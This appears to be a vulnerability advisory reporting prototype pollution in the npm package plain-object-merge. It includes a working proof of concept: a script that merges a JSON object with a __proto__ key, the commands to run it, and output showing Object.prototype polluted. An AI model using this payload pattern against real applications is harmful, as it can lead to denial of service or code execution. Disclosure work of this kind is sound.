vulnerability prototype pollution
severity 6.5
language javascript
registry npm


plain-object-merge is vulnerable to Prototype Pollution.

Proof of Concept

  1. Create the following PoC file:
// poc.js
const merge = require('plain-object-merge')

console.log('Before: ' + {}.polluted)
merge([{}, JSON.parse('{"__proto__": {"polluted": true}}')])
console.log('After: ' + {}.polluted)
  1. Execute the following commands in the terminal:
npm i plain-object-merge # install vulnerable package
node poc.js # run the PoC
  1. Check the output:
Before: undefined
After: true


Prototype Pollution leads to Information Disclosure/DoS/RCE.